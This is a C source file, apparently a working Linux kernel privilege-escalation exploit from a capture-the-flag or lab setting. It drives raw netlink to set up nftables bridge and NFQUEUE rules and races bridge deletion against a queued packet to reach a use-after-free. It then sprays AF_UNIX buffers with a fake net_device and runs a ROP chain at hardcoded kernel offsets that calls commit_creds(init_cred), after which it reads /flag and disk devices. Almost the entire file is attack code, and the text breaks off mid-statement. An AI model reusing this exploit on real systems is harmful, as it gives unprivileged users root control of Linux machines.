/* * Copyright 2026 Nebula Security * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * https://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. * * SPDX-License-Identifier: Apache-2.0 */ #define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include "leak.h" #include "known_page.h" #define QUEUE_NUM 4242 #define NF_BR_LOCAL_IN 1 #define KERNEL_BASE UINT64_C(0xffffffff81000000) #define KERNEL_IMAGE_PAGES 22 #define FEDORA_IMAGE_EDGE_BIAS UINT64_C(0x200000) #define OFF_RDX_STACK_PIVOT UINT64_C(0x599582) #define OFF_POP_RSP UINT64_C(0x2762f0) #define OFF_POP_RDI UINT64_C(0x203a95) #define OFF_COMMIT_CREDS UINT64_C(0x425660) #define OFF_INIT_CRED UINT64_C(0x2a15840) #define OFF_INIT_NET UINT64_C(0x3b6d6c0) #define OFF_RCU_READ_UNLOCK UINT64_C(0x4da7d0) #define OFF_LOCAL_BH_ENABLE UINT64_C(0x3e97f0) #define OFF_KPTI_RETURN UINT64_C(0x1894) #define PACKET_TYPE_FUNC 0x10 #define PACKET_TYPE_LIST 0x38 #define FAKE_PTYPE1 0x1000 #define FAKE_PTYPE2 0x1100 #define ANCHOR_ROP 0x1800 #define UNIX_SPRAY_PAIRS 32 #define UNIX_SPRAY_PER_PAIR 8 #define UNIX_SPRAY_LEN 7000 static uint32_t nl_seq; static uint64_t kernel_slide; static uint64_t known_page; static int spray_fds[UNIX_SPRAY_PAIRS][2]; static uint64_t user_cs, user_ss, user_rflags, user_rsp; static void *user_stack; static void recv_ack(int fd, uint32_t seq); static void die(const char *what) { perror(what); exit(EXIT_FAILURE); } static void write_all(int fd, const char *buf, size_t len) { while (len) { ssize_t n = write(fd, buf, len); if (n < 0) { if (errno == EINTR) continue; die("write"); } buf += n; len -= (size_t)n; } } static void write_text(const char *path, const char *text) { int fd = open(path, O_WRONLY | O_CLOEXEC); if (fd < 0) die(path); write_all(fd, text, strlen(text)); close(fd); } static void pin_cpu(int cpu) { cpu_set_t set; CPU_ZERO(&set); CPU_SET(cpu, &set); if (sched_setaffinity(0, sizeof(set), &set) < 0) die("sched_setaffinity"); } static void resolve_kernel_addresses(void) { /* The generic helper reports one 2-MiB slot below Fedora's _text. */ kernel_slide = leak_image_slide_checked() + FEDORA_IMAGE_EDGE_BIAS; printf("[+] resolved _text slide=%#llx\n", (unsigned long long)kernel_slide); } static void drop_to_nobody_if_root(void) { if (geteuid() != 0) return; if (setgroups(0, NULL) < 0) die("setgroups(drop)"); if (setresgid(65534, 65534, 65534) < 0) die("setresgid(nobody)"); if (setresuid(65534, 65534, 65534) < 0) die("setresuid(nobody)"); if (prctl(PR_SET_DUMPABLE, 1, 0, 0, 0) < 0) die("prctl(PR_SET_DUMPABLE)"); } static void enter_unprivileged_user_net_mount_namespaces(void) { char map[128]; uid_t uid; gid_t gid; uid = getuid(); gid = getgid(); printf("[+] initial credentials uid=%u gid=%u\n", uid, gid); if (unshare(CLONE_NEWUSER) < 0) die("unshare(CLONE_NEWUSER)"); write_text("/proc/self/setgroups", "deny"); snprintf(map, sizeof(map), "0 %u 1\n", uid); write_text("/proc/self/uid_map", map); snprintf(map, sizeof(map), "0 %u 1\n", gid); write_text("/proc/self/gid_map", map); if (setresgid(0, 0, 0) < 0 || setresuid(0, 0, 0) < 0) die("setresuid/setresgid(namespace root)"); if (unshare(CLONE_NEWNET | CLONE_NEWNS) < 0) die("unshare(CLONE_NEWNET|CLONE_NEWNS)"); printf("[+] namespace credentials uid=%u gid=%u\n", getuid(), getgid()); } static struct nlattr *put_attr(struct nlmsghdr *nlh, size_t cap, uint16_t type, const void *data, size_t len) { size_t off = NLMSG_ALIGN(nlh->nlmsg_len); size_t need = NLA_ALIGN(NLA_HDRLEN + len); struct nlattr *nla; if (off + need > cap) { errno = EMSGSIZE; die("put_attr"); } nla = (struct nlattr *)((char *)nlh + off); nla->nla_type = type; nla->nla_len = (uint16_t)(NLA_HDRLEN + len); memcpy((char *)nla + NLA_HDRLEN, data, len); memset((char *)nla + nla->nla_len, 0, need - nla->nla_len); nlh->nlmsg_len = (uint32_t)(off + need); return nla; } static void send_nl(int fd, struct nlmsghdr *nlh) { struct sockaddr_nl dst = { .nl_family = AF_NETLINK }; struct iovec iov = { .iov_base = nlh, .iov_len = nlh->nlmsg_len }; struct msghdr msg = { .msg_name = &dst, .msg_namelen = sizeof(dst), .msg_iov = &iov, .msg_iovlen = 1, }; if (sendmsg(fd, &msg, 0) < 0) die("sendmsg(NETLINK_NETFILTER)"); } static struct nlattr *nest_start(struct nlmsghdr *nlh, size_t cap, uint16_t type) { return put_attr(nlh, cap, type | NLA_F_NESTED, NULL, 0); } static void nest_end(struct nlmsghdr *nlh, struct nlattr *nla) { nla->nla_len = (uint16_t)((char *)nlh + nlh->nlmsg_len - (char *)nla); } static int open_netlink_route(void) { int fd = socket(AF_NETLINK, SOCK_RAW | SOCK_CLOEXEC, NETLINK_ROUTE); struct sockaddr_nl local = { .nl_family = AF_NETLINK }; if (fd < 0) die("socket(NETLINK_ROUTE)"); if (bind(fd, (struct sockaddr *)&local, sizeof(local)) < 0) die("bind(NETLINK_ROUTE)"); return fd; } static void rtnl_send_ack(int fd, struct nlmsghdr *nlh) { nlh->nlmsg_seq = ++nl_seq; send_nl(fd, nlh); recv_ack(fd, nlh->nlmsg_seq); } static void rtnl_new_bridge(int fd, const char *name) { char buf[1024] = { 0 }; struct nlmsghdr *nlh = (void *)buf; struct ifinfomsg *ifi; struct nlattr *linkinfo; nlh->nlmsg_len = NLMSG_LENGTH(sizeof(*ifi)); nlh->nlmsg_type = RTM_NEWLINK; nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK | NLM_F_CREATE | NLM_F_EXCL; ifi = NLMSG_DATA(nlh); ifi->ifi_family = AF_UNSPEC; put_attr(nlh, sizeof(buf), IFLA_IFNAME, name, strlen(name) + 1); linkinfo = nest_start(nlh, sizeof(buf), IFLA_LINKINFO); put_attr(nlh, sizeof(buf), IFLA_INFO_KIND, "bridge", sizeof("bridge")); nest_end(nlh, linkinfo); rtnl_send_ack(fd, nlh); printf("[+] created bridge %s via raw rtnetlink\n", name); } static void rtnl_new_veth(int fd, const char *left, const char *right) { char buf[1536] = { 0 }; struct nlmsghdr *nlh = (void *)buf; struct ifinfomsg *ifi; struct nlattr *linkinfo, *infodata, *peer; nlh->nlmsg_len = NLMSG_LENGTH(sizeof(*ifi)); nlh->nlmsg_type = RTM_NEWLINK; nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK | NLM_F_CREATE | NLM_F_EXCL; ifi = NLMSG_DATA(nlh); ifi->ifi_family = AF_UNSPEC; put_attr(nlh, sizeof(buf), IFLA_IFNAME, left, strlen(left) + 1); linkinfo = nest_start(nlh, sizeof(buf), IFLA_LINKINFO); put_attr(nlh, sizeof(buf), IFLA_INFO_KIND, "veth", sizeof("veth")); infodata = nest_start(nlh, sizeof(buf), IFLA_INFO_DATA); peer = nest_start(nlh, sizeof(buf), VETH_INFO_PEER); if (nlh->nlmsg_len + sizeof(*ifi) > sizeof(buf)) { errno = EMSGSIZE; die("rtnl veth peer"); } ifi = (void *)(buf + nlh->nlmsg_len); memset(ifi, 0, sizeof(*ifi)); ifi->ifi_family = AF_UNSPEC; nlh->nlmsg_len += sizeof(*ifi); put_attr(nlh, sizeof(buf), IFLA_IFNAME, right, strlen(right) + 1); nest_end(nlh, peer); nest_end(nlh, infodata); nest_end(nlh, linkinfo); rtnl_send_ack(fd, nlh); printf("[+] created veth %s/%s via raw rtnetlink\n", left, right); } static unsigned int require_ifindex(const char *name) { unsigned int index = if_nametoindex(name); if (!index) die("if_nametoindex"); return index; } static void rtnl_set_master(int fd, const char *port, const char *master) { char buf[512] = { 0 }; struct nlmsghdr *nlh = (void *)buf; struct ifinfomsg *ifi; uint32_t master_index = require_ifindex(master); nlh->nlmsg_len = NLMSG_LENGTH(sizeof(*ifi)); nlh->nlmsg_type = RTM_NEWLINK; nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK; ifi = NLMSG_DATA(nlh); ifi->ifi_family = AF_UNSPEC; ifi->ifi_index = (int)require_ifindex(port); put_attr(nlh, sizeof(buf), IFLA_MASTER, &master_index, sizeof(master_index)); rtnl_send_ack(fd, nlh); } static void rtnl_set_up(int fd, const char *name) { char buf[512] = { 0 }; struct nlmsghdr *nlh = (void *)buf; struct ifinfomsg *ifi; nlh->nlmsg_len = NLMSG_LENGTH(sizeof(*ifi)); nlh->nlmsg_type = RTM_NEWLINK; nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK; ifi = NLMSG_DATA(nlh); ifi->ifi_family = AF_UNSPEC; ifi->ifi_index = (int)require_ifindex(name); ifi->ifi_flags = IFF_UP; ifi->ifi_change = IFF_UP; rtnl_send_ack(fd, nlh); } static void rtnl_set_bridge_nf_call_iptables(int fd, const char *name) { char buf[768] = { 0 }; struct nlmsghdr *nlh = (void *)buf; struct ifinfomsg *ifi; struct nlattr *linkinfo, *infodata; uint8_t one = 1; nlh->nlmsg_len = NLMSG_LENGTH(sizeof(*ifi)); nlh->nlmsg_type = RTM_NEWLINK; nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK; ifi = NLMSG_DATA(nlh); ifi->ifi_family = AF_UNSPEC; ifi->ifi_index = (int)require_ifindex(name); linkinfo = nest_start(nlh, sizeof(buf), IFLA_LINKINFO); put_attr(nlh, sizeof(buf), IFLA_INFO_KIND, "bridge", sizeof("bridge")); infodata = nest_start(nlh, sizeof(buf), IFLA_INFO_DATA); put_attr(nlh, sizeof(buf), IFLA_BR_NF_CALL_IPTABLES, &one, sizeof(one)); nest_end(nlh, infodata); nest_end(nlh, linkinfo); rtnl_send_ack(fd, nlh); } static void rtnl_delete_link(const char *name) { int fd = open_netlink_route(); char buf[512] = { 0 }; struct nlmsghdr *nlh = (void *)buf; struct ifinfomsg *ifi; nlh->nlmsg_len = NLMSG_LENGTH(sizeof(*ifi)); nlh->nlmsg_type = RTM_DELLINK; nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK; ifi = NLMSG_DATA(nlh); ifi->ifi_family = AF_UNSPEC; ifi->ifi_index = (int)require_ifindex(name); rtnl_send_ack(fd, nlh); close(fd); } static void send_nft_batch_one(int fd, struct nlmsghdr *request) { char batch[4096] = { 0 }; struct nlmsghdr *begin = (void *)batch; struct nfgenmsg *nfg; struct nlmsghdr *msg; struct nlmsghdr *end; size_t off; struct sockaddr_nl dst = { .nl_family = AF_NETLINK }; struct iovec iov; struct msghdr mh = { .msg_name = &dst, .msg_namelen = sizeof(dst), .msg_iov = &iov, .msg_iovlen = 1, }; uint32_t request_seq; begin->nlmsg_len = NLMSG_LENGTH(sizeof(*nfg)); begin->nlmsg_type = NFNL_MSG_BATCH_BEGIN; begin->nlmsg_flags = NLM_F_REQUEST; begin->nlmsg_seq = ++nl_seq; nfg = NLMSG_DATA(begin); nfg->nfgen_family = AF_UNSPEC; nfg->version = NFNETLINK_V0; nfg->res_id = htons(NFNL_SUBSYS_NFTABLES); off = NLMSG_ALIGN(begin->nlmsg_len); msg = (void *)(batch + off); memcpy(msg, request, request->nlmsg_len); msg->nlmsg_seq = ++nl_seq; request_seq = msg->nlmsg_seq; off += NLMSG_ALIGN(msg->nlmsg_len); end = (void *)(batch + off); end->nlmsg_len = NLMSG_LENGTH(sizeof(*nfg)); end->nlmsg_type = NFNL_MSG_BATCH_END; end->nlmsg_flags = NLM_F_REQUEST; end->nlmsg_seq = ++nl_seq; nfg = NLMSG_DATA(end); nfg->nfgen_family = AF_UNSPEC; nfg->version = NFNETLINK_V0; nfg->res_id = htons(NFNL_SUBSYS_NFTABLES); off += NLMSG_ALIGN(end->nlmsg_len); iov.iov_base = batch; iov.iov_len = off; if (sendmsg(fd, &mh, 0) < 0) die("sendmsg(nft batch)"); recv_ack(fd, request_seq); } static void nft_base_request(char *buf, size_t cap, uint16_t msg_type, uint8_t family) { struct nlmsghdr *nlh = (void *)buf; struct nfgenmsg *nfg; memset(buf, 0, cap); nlh->nlmsg_len = NLMSG_LENGTH(sizeof(*nfg)); nlh->nlmsg_type = (NFNL_SUBSYS_NFTABLES << 8) | msg_type; nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK | NLM_F_CREATE | NLM_F_EXCL; nfg = NLMSG_DATA(nlh); nfg->nfgen_family = family; nfg->version = NFNETLINK_V0; nfg->res_id = 0; } static int open_netfilter_socket(void) { int fd = socket(AF_NETLINK, SOCK_RAW | SOCK_CLOEXEC, NETLINK_NETFILTER); struct sockaddr_nl local = { .nl_family = AF_NETLINK }; if (fd < 0) die("socket(NETLINK_NETFILTER)"); if (bind(fd, (struct sockaddr *)&local, sizeof(local)) < 0) die("bind(NETLINK_NETFILTER)"); return fd; } static void install_br_netfilter_autoload_rule_raw(void) { int fd = open_netfilter_socket(); char buf[2048]; struct nlmsghdr *nlh = (void *)buf; struct nlattr *hook, *exprs, *elem, *data; uint32_t hooknum = htonl(NF_INET_FORWARD); uint32_t priority = htonl(0); uint32_t policy = htonl(NF_ACCEPT); uint32_t revision = htonl(0); struct xt_physdev_info physdev = { .bitmask = XT_PHYSDEV_OP_BRIDGED, }; nft_base_request(buf, sizeof(buf), NFT_MSG_NEWTABLE, NFPROTO_IPV4); put_attr(nlh, sizeof(buf), NFTA_TABLE_NAME, "autoload", sizeof("autoload")); send_nft_batch_one(fd, nlh); nft_base_request(buf, sizeof(buf), NFT_MSG_NEWCHAIN, NFPROTO_IPV4); put_attr(nlh, sizeof(buf), NFTA_CHAIN_TABLE, "autoload", sizeof("autoload")); put_attr(nlh, sizeof(buf), NFTA_CHAIN_NAME, "fwd", sizeof("fwd")); put_attr(nlh, sizeof(buf), NFTA_CHAIN_TYPE, "filter", sizeof("filter")); hook = nest_start(nlh, sizeof(buf), NFTA_CHAIN_HOOK); put_attr(nlh, sizeof(buf), NFTA_HOOK_HOOKNUM, &hooknum, sizeof(hooknum)); put_attr(nlh, sizeof(buf), NFTA_HOOK_PRIORITY, &priority, sizeof(priority)); nest_end(nlh, hook); put_attr(nlh, sizeof(buf), NFTA_CHAIN_POLICY, &policy, sizeof(policy)); send_nft_batch_one(fd, nlh); nft_base_request(buf, sizeof(buf), NFT_MSG_NEWRULE, NFPROTO_IPV4); put_attr(nlh, sizeof(buf), NFTA_RULE_TABLE, "autoload", sizeof("autoload")); put_attr(nlh, sizeof(buf), NFTA_RULE_CHAIN, "fwd", sizeof("fwd")); exprs = nest_start(nlh, sizeof(buf), NFTA_RULE_EXPRESSIONS); elem = nest_start(nlh, sizeof(buf), NFTA_LIST_ELEM); put_attr(nlh, sizeof(buf), NFTA_EXPR_NAME, "match", sizeof("match")); data = nest_start(nlh, sizeof(buf), NFTA_EXPR_DATA); put_attr(nlh, sizeof(buf), NFTA_MATCH_NAME, "physdev", sizeof("physdev")); put_attr(nlh, sizeof(buf), NFTA_MATCH_REV, &revision, sizeof(revision)); put_attr(nlh, sizeof(buf), NFTA_MATCH_INFO, &physdev, sizeof(physdev)); nest_end(nlh, data); nest_end(nlh, elem); nest_end(nlh, exprs); send_nft_batch_one(fd, nlh); close(fd); printf("[+] installed raw nft/xt_physdev rule to request br_netfilter\n"); } static void install_bridge_queue_rule_raw(void) { int fd = open_netfilter_socket(); char buf[2048]; struct nlmsghdr *nlh = (void *)buf; struct nlattr *hook, *exprs, *elem, *data; uint32_t hooknum = htonl(NF_BR_LOCAL_IN); uint32_t priority = htonl(10); uint32_t policy = htonl(NF_ACCEPT); uint16_t qnum = htons(QUEUE_NUM); nft_base_request(buf, sizeof(buf), NFT_MSG_NEWTABLE, NFPROTO_BRIDGE); put_attr(nlh, sizeof(buf), NFTA_TABLE_NAME, "c9c9", sizeof("c9c9")); send_nft_batch_one(fd, nlh); nft_base_request(buf, sizeof(buf), NFT_MSG_NEWCHAIN, NFPROTO_BRIDGE); put_attr(nlh, sizeof(buf), NFTA_CHAIN_TABLE, "c9c9", sizeof("c9c9")); put_attr(nlh, sizeof(buf), NFTA_CHAIN_NAME, "local", sizeof("local")); put_attr(nlh, sizeof(buf), NFTA_CHAIN_TYPE, "filter", sizeof("filter")); hook = nest_start(nlh, sizeof(buf), NFTA_CHAIN_HOOK); put_attr(nlh, sizeof(buf), NFTA_HOOK_HOOKNUM, &hooknum, sizeof(hooknum)); put_attr(nlh, sizeof(buf), NFTA_HOOK_PRIORITY, &priority, sizeof(priority)); nest_end(nlh, hook); put_attr(nlh, sizeof(buf), NFTA_CHAIN_POLICY, &policy, sizeof(policy)); send_nft_batch_one(fd, nlh); nft_base_request(buf, sizeof(buf), NFT_MSG_NEWRULE, NFPROTO_BRIDGE); put_attr(nlh, sizeof(buf), NFTA_RULE_TABLE, "c9c9", sizeof("c9c9")); put_attr(nlh, sizeof(buf), NFTA_RULE_CHAIN, "local", sizeof("local")); exprs = nest_start(nlh, sizeof(buf), NFTA_RULE_EXPRESSIONS); elem = nest_start(nlh, sizeof(buf), NFTA_LIST_ELEM); put_attr(nlh, sizeof(buf), NFTA_EXPR_NAME, "queue", sizeof("queue")); data = nest_start(nlh, sizeof(buf), NFTA_EXPR_DATA); put_attr(nlh, sizeof(buf), NFTA_QUEUE_NUM, &qnum, sizeof(qnum)); nest_end(nlh, data); nest_end(nlh, elem); nest_end(nlh, exprs); send_nft_batch_one(fd, nlh); close(fd); printf("[+] installed raw nft bridge/local-in priority 10 queue rule\n"); } static void recv_ack(int fd, uint32_t seq) { char buf[8192]; for (;;) { ssize_t len = recv(fd, buf, sizeof(buf), 0); struct nlmsghdr *nlh; if (len < 0) { if (errno == EINTR) continue; die("recv(netfilter ack)"); } for (nlh = (struct nlmsghdr *)buf; NLMSG_OK(nlh, len); nlh = NLMSG_NEXT(nlh, len)) { struct nlmsgerr *err; if (nlh->nlmsg_seq != seq || nlh->nlmsg_type != NLMSG_ERROR) continue; err = NLMSG_DATA(nlh); if (err->error) { errno = -err->error; die("NFQUEUE netlink ack"); } return; } } } static int open_and_bind_nfqueue(void) { int fd = socket(AF_NETLINK, SOCK_RAW | SOCK_CLOEXEC, NETLINK_NETFILTER); struct sockaddr_nl local = { .nl_family = AF_NETLINK, .nl_pid = (uint32_t)getpid(), }; char buf[256] = { 0 }; struct nlmsghdr *nlh = (struct nlmsghdr *)buf; struct nfgenmsg *nfg; struct nfqnl_msg_config_cmd cmd = { .command = NFQNL_CFG_CMD_BIND, .pf = htons(AF_INET), }; struct nfqnl_msg_config_params params = { .copy_range = htonl(0xffff), .copy_mode = NFQNL_COPY_PACKET, }; if (fd < 0) die("socket(NETLINK_NETFILTER)"); if (bind(fd, (struct sockaddr *)&local, sizeof(local)) < 0) die("bind(NETLINK_NETFILTER)"); nlh->nlmsg_len = NLMSG_LENGTH(sizeof(*nfg)); nlh->nlmsg_type = (NFNL_SUBSYS_QUEUE << 8) | NFQNL_MSG_CONFIG; nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK; nlh->nlmsg_seq = ++nl_seq; nfg = NLMSG_DATA(nlh); nfg->nfgen_family = AF_UNSPEC; nfg->version = NFNETLINK_V0; nfg->res_id = htons(QUEUE_NUM); put_attr(nlh, sizeof(buf), NFQA_CFG_CMD, &cmd, sizeof(cmd)); send_nl(fd, nlh); recv_ack(fd, nl_seq); memset(buf, 0, sizeof(buf)); nlh->nlmsg_len = NLMSG_LENGTH(sizeof(*nfg)); nlh->nlmsg_type = (NFNL_SUBSYS_QUEUE << 8) | NFQNL_MSG_CONFIG; nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK; nlh->nlmsg_seq = ++nl_seq; nfg = NLMSG_DATA(nlh); nfg->nfgen_family = AF_UNSPEC; nfg->version = NFNETLINK_V0; nfg->res_id = htons(QUEUE_NUM); put_attr(nlh, sizeof(buf), NFQA_CFG_PARAMS, ¶ms, sizeof(params)); send_nl(fd, nlh); recv_ack(fd, nl_seq); printf("[+] bound NFQUEUE %d via raw NETLINK_NETFILTER\n", QUEUE_NUM); return fd; } static uint32_t recv_packet_id(int fd) { char buf[65536]; for (;;) { ssize_t len = recv(fd, buf, sizeof(buf), 0); struct nlmsghdr *nlh; if (len < 0) { if (errno == EINTR) continue; die("recv(NFQUEUE packet)"); } for (nlh = (struct nlmsghdr *)buf; NLMSG_OK(nlh, len); nlh = NLMSG_NEXT(nlh, len)) { struct nfgenmsg *nfg; struct nlattr *nla; int rem; if (nlh->nlmsg_type != ((NFNL_SUBSYS_QUEUE << 8) | NFQNL_MSG_PACKET)) continue; nfg = NLMSG_DATA(nlh); rem = (int)nlh->nlmsg_len - NLMSG_LENGTH(sizeof(*nfg)); nla = (struct nlattr *)((char *)nfg + NLMSG_ALIGN(sizeof(*nfg))); while (rem >= (int)sizeof(*nla) && nla->nla_len >= sizeof(*nla) && nla->nla_len <= rem) { if ((nla->nla_type & NLA_TYPE_MASK) == NFQA_PACKET_HDR && nla->nla_len >= NLA_HDRLEN + sizeof(struct nfqnl_msg_packet_hdr)) { struct nfqnl_msg_packet_hdr *ph = (void *)((char *)nla + NLA_HDRLEN); uint32_t id = ntohl(ph->packet_id); printf("[+] QUEUED packet id=%u while bridge is live\n", id); return id; } rem -= NLA_ALIGN(nla->nla_len); nla = (struct nlattr *)((char *)nla + NLA_ALIGN(nla->nla_len)); } } } } static void send_verdict_accept(int fd, uint32_t id) { char buf[256] = { 0 }; struct nlmsghdr *nlh = (struct nlmsghdr *)buf; struct nfgenmsg *nfg; struct nfqnl_msg_verdict_hdr vh = { .verdict = htonl(NF_ACCEPT), .id = htonl(id), }; nlh->nlmsg_len = NLMSG_LENGTH(sizeof(*nfg)); nlh->nlmsg_type = (NFNL_SUBSYS_QUEUE << 8) | NFQNL_MSG_VERDICT; nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK; nlh->nlmsg_seq = ++nl_seq; nfg = NLMSG_DATA(nlh); nfg->nfgen_family = AF_UNSPEC; nfg->version = NFNETLINK_V0; nfg->res_id = htons(QUEUE_NUM); put_attr(nlh, sizeof(buf), NFQA_VERDICT_HDR, &vh, sizeof(vh)); send_nl(fd, nlh); /* A fixed kernel may reap the queued entry during bridge unregister. * Do not block forever waiting for an ACK in that case. */ printf("[+] sent NF_ACCEPT verdict for id=%u\n", id); } static uint16_t ip_checksum(const void *data, size_t len) { const uint16_t *p = data; uint32_t sum = 0; while (len > 1) { sum += *p++; len -= 2; } if (len) sum += *(const uint8_t *)p; while (sum >> 16) sum = (sum & 0xffff) + (sum >> 16); return (uint16_t)~sum; } static void get_mac(const char *ifname, unsigned char mac[ETH_ALEN]) { int fd = socket(AF_INET, SOCK_DGRAM | SOCK_CLOEXEC, 0); struct ifreq ifr = { 0 }; if (fd < 0) die("socket(SIOCGIFHWADDR)"); strncpy(ifr.ifr_name, ifname, IFNAMSIZ - 1); if (ioctl(fd, SIOCGIFHWADDR, &ifr) < 0) die("ioctl(SIOCGIFHWADDR)"); memcpy(mac, ifr.ifr_hwaddr.sa_data, ETH_ALEN); close(fd); } static void send_ipv4_frame(void) { struct { unsigned char dst[ETH_ALEN]; unsigned char src[ETH_ALEN]; uint16_t proto; struct { uint8_t version_ihl; uint8_t tos; uint16_t total_len; uint16_t id; uint16_t frag_off; uint8_t ttl; uint8_t protocol; uint16_t check; uint32_t saddr; uint32_t daddr; } __attribute__((packed)) ip; } __attribute__((packed)) frame = { 0 }; struct sockaddr_ll sa = { 0 }; int fd = socket(AF_PACKET, SOCK_RAW | SOCK_CLOEXEC, htons(ETH_P_ALL)); if (fd < 0) die("socket(AF_PACKET)"); get_mac("_1", frame.src); /* A bridge-local destination reaches br_pass_frame_up() and therefore * queues after skb->dev has been changed to the bridge master. */ get_mac("_n0", frame.dst); frame.proto = htons(ETH_P_IP); frame.ip.version_ihl = 0x45; frame.ip.total_len = htons(sizeof(frame.ip)); frame.ip.id = htons(0x5f6e); frame.ip.ttl = 64; frame.ip.protocol = IPPROTO_ICMP; frame.ip.saddr = inet_addr("10.0.0.1"); frame.ip.daddr = inet_addr("10.0.0.2"); frame.ip.check = ip_checksum(&frame.ip, sizeof(frame.ip)); sa.sll_family = AF_PACKET; sa.sll_protocol = htons(ETH_P_ALL); sa.sll_ifindex = if_nametoindex("_1"); sa.sll_halen = ETH_ALEN; memcpy(sa.sll_addr, frame.dst, ETH_ALEN); if (!sa.sll_ifindex) die("if_nametoindex(p0)"); if (sendto(fd, &frame, sizeof(frame), 0, (struct sockaddr *)&sa, sizeof(sa)) != sizeof(frame)) die("sendto(AF_PACKET)"); close(fd); printf("[+] injected bridge-local IPv4 frame through p0\n"); } static pid_t start_bridge_delete(void) { pid_t pid = fork(); if (pid < 0) die("fork(RTM_DELLINK)"); if (pid == 0) { rtnl_delete_link("_n0"); _exit(0); } return pid; } static void print_relevant_modules(void) { FILE *fp = fopen("/proc/modules", "re"); char line[512]; if (!fp) { perror("fopen(/proc/modules)"); return; } while (fgets(line, sizeof(line), fp)) { if (!strncmp(line, "bridge ", 7) || !strncmp(line, "br_netfilter ", 13) || !strncmp(line, "nfnetlink_queue ", 18) || !strncmp(line, "nf_tables ", 10) || !strncmp(line, "nft_queue ", 10) || !strncmp(line, "nft_compat ", 11)) fputs(line, stdout); } fclose(fp); } static bool wait_delete_bounded(pid_t pid, int *status) { struct timespec ts = { .tv_nsec = 10000000 }; for (int i = 0; i < 200; i++) { pid_t ret = waitpid(pid, status, WNOHANG); if (ret == pid) return true; if (ret < 0) die("waitpid(delete)"); nanosleep(&ts, NULL); } return false; } __attribute__((noreturn)) static void post_root(void) { static const char *paths[] = { "/flag", "/dev/vdb", "/dev/vdc" }; char buffer[4096]; printf("[+] returned to user mode with uid=%u euid=%u\n", getuid(), geteuid()); for (size_t i = 0; i < sizeof(paths) / sizeof(paths[0]); i++) { int fd = open(paths[i], O_RDONLY | O_CLOEXEC); ssize_t got; if (fd < 0) continue; got = read(fd, buffer, sizeof(buffer)); close(fd); if (got > 0) write_all(STDOUT_FILENO, buffer, (size_t)got); } /* The accepted NFQUEUE entry still owns the corrupted skb. Keep the * process (and therefore the queue) alive after printing the flag so its * teardown path cannot revisit the stale bridge pointer. */ for (;;) pause(); } static void prepare_user_return(void) { user_stack = mmap(NULL, 0x40000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); if (user_stack == MAP_FAILED) die("mmap(user return stack)"); memset(user_stack, 0, 0x40000); user_rsp = (uint64_t)(uintptr_t)user_stack + 0x3f008; asm volatile("mov %%cs, %0\n\t" "mov %%ss, %1\n\t" "pushfq\n\t" "pop %2" : "=r"(user_cs), "=r"(user_ss), "=r"(user_rflags) : : "memory"); } static void put64(unsigned char *page, size_t offset, uint64_t value) { if (offset + sizeof(value) > KNOWN_PAGE_BYTES) { errno = EOVERFLOW; die("known-page qword"); } memcpy(page + offset, &value, sizeof(value)); } static void build_known_page(unsigned char *page, uint64_t page_address, void *argument) { uint64_t slide = *(uint64_t *)argument; uint64_t node1 = page_address + FAKE_PTYPE1; uint64_t node2 = page_address + FAKE_PTYPE2; uint64_t *chain = (uint64_t *)(page + ANCHOR_ROP); memset(page, 0, KNOWN_PAGE_BYTES); /* deliver_skb() calls packet_type.func with the packet_type in RDX. * The first pivot moves RDX to RSP. packet_type.dev then supplies a * second, known stack pointer so the function field at +0x10 does not * collide with the actual ROP chain. */ put64(page, FAKE_PTYPE1, KERNEL_BASE + slide + OFF_POP_RSP); put64(page, FAKE_PTYPE1 + 0x8, page_address + ANCHOR_ROP); put64(page, FAKE_PTYPE1 + PACKET_TYPE_FUNC, KERNEL_BASE + slide + OFF_RDX_STACK_PIVOT); put64(page, FAKE_PTYPE1 + PACKET_TYPE_LIST, node2 + PACKET_TYPE_LIST); put64(page, FAKE_PTYPE2 + PACKET_TYPE_LIST, node2 + PACKET_TYPE_LIST); chain[0] = KERNEL_BASE + slide + OFF_POP_RDI; chain[1] = KERNEL_BASE + slide + OFF_INIT_CRED; chain[2] = KERNEL_BASE + slide + OFF_COMMIT_CREDS; chain[3] = KERNEL_BASE + slide + OFF_RCU_READ_UNLOCK; chain[4] = KERNEL_BASE + slide + OFF_RCU_READ_UNLOCK; chain[5] = KERNEL_BASE + slide + OFF_LOCAL_BH_ENABLE; chain[6] = KERNEL_BASE + slide + OFF_KPTI_RETURN; chain[23] = (uint64_t)(uintptr_t)post_root; chain[24] = user_cs; chain[25] = user_rflags; chain[26] = user_rsp; chain[27] = user_ss; printf("[+] built packet_type at %#llx and ROP at %#llx\n", (unsigned long long)node1, (unsigned long long)(page_address + ANCHOR_ROP)); } static void build_fake_netdev(unsigned char *payload) { uint64_t init_net = KERNEL_BASE + kernel_slide + OFF_INIT_NET; uint64_t packet_list = known_page + FAKE_PTYPE1 + PACKET_TYPE_LIST; memset(payload, 0, UNIX_SPRAY_LEN); /* net_device.nd_net makes the first ptype_all walk valid. The second * walk follows our known packet_type list and calls its func pointer. */ memcpy(payload + 0x108, &init_net, sizeof(init_net)); memcpy(payload + 0x198, &packet_list, sizeof(packet_list)); } static void spray_unix_skb_heads(void) { unsigned char *payload = malloc(UNIX_SPRAY_LEN); int sndbuf = 1 << 20; if (!payload) die("malloc(AF_UNIX spray)"); build_fake_netdev(payload); for (int i = 0; i < UNIX_SPRAY_PAIRS; i++) { if (socketpair(AF_UNIX, 